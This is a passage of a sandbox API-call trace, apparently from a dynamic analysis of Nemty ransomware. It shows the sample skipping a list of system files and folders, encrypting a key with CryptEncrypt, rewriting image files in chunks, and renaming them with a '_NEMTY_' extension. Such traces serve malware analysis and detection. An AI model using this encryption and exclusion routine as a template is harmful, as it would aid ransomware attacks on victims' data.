[0137.035] CloseHandle (hObject=0xffffffff) returned 0 [0137.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0137.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0137.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0137.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0137.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.035] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\9.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\9.png._nemty_kgobjgd_")) returned 0 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0137.035] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84ac042c, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84ac042c, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a2457d9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x46a9, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0137.035] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1 [0137.035] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="...") returned 1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="windows") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="$RECYCLE.BIN") returned 1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="rsa") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="NTDETECT.COM") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="ntldr") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="MSDOS.SYS") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="IO.SYS") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="boot.ini") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="AUTOEXEC.BAT") returned 1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="ntuser.dat") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="desktop.ini") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="CONFIG.SYS") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="RECYCLER") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="BOOTSECT.BAK") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="bootmgr") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="programdata") returned -1 [0137.036] lstrcmpiW (lpString1="background.png", lpString2="appdata") returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0137.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ebd0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0137.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec20, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0137.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0137.036] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="background.png", cchWideChar=14, lpMultiByteStr=0x653ec58, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="background.png", lpUsedDefaultChar=0x0) returned 14 [0137.036] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400f0 [0137.037] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0137.037] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0137.037] Sleep (dwMilliseconds=0x5) [0137.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x554d410, dwHighDateTime=0x1d561e8)) [0137.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x554d410, dwHighDateTime=0x1d561e8)) [0137.044] GetLastError () returned 0x5 [0137.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0137.044] GetLastError () returned 0x5 [0137.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.044] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0137.044] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0137.044] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0137.044] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="hevYcI+3wkbGEhWxPgzNdM03K0yFJewR+x9JNdtc1vVYDgoi5fgICxwExk0RfvME\r\nunbfl3u2uq5d2VZ7e7gwQ/rm1h10XOWurrks9bX2Y66vNUBf842x+4k4f6swU6cl\r\nMkDulyisSJG6TZdak5G4Egdt9L3J8S1OSFaCFT4PWvsIVT4/gvkXIaWTg7Ce/VaA\r\naKtXPJkqxFzMe9Jf1kuGvX8CH3ERtNOUu6wfcnDH9IRty8CDol5fS9x9mGzSzb2t\r\nfGRmOwA6yc5fNeI1P+AzH9U0KyJLpsb0N32ehonz0an1RikeSRK7TqO3lOtOrive\r\nAG+OrFvbkVLVb76npFo1eQ==\r\n", pcchString=0x653e91c) returned 1 [0137.044] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0137.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.045] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0137.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0137.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0137.045] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.045] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0137.045] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0137.045] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.045] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.056] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.056] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.056] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.065] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.065] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.065] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.075] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.075] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.075] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.086] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.086] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.086] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.095] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.096] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.096] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.096] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.105] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.105] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.105] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.114] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.114] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.126] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.144] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.144] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.144] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.150] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.150] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.150] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.156] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.156] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.156] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0137.156] CloseHandle (hObject=0xffffffff) returned 0 [0137.156] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0137.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0137.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.157] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0137.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0137.157] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\background.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\background.png._nemty_kgobjgd_")) returned 0 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.157] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0137.157] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a74172, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84a74172, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a5d78a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa3d5, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="daisies.png", cAlternateFileName="")) returned 1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2=".") returned 1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="..") returned 1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="...") returned 1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="windows") returned -1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="$RECYCLE.BIN") returned 1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="rsa") returned -1 [0137.157] lstrcmpiW (lpString1="daisies.png", lpString2="NTDETECT.COM") returned -1 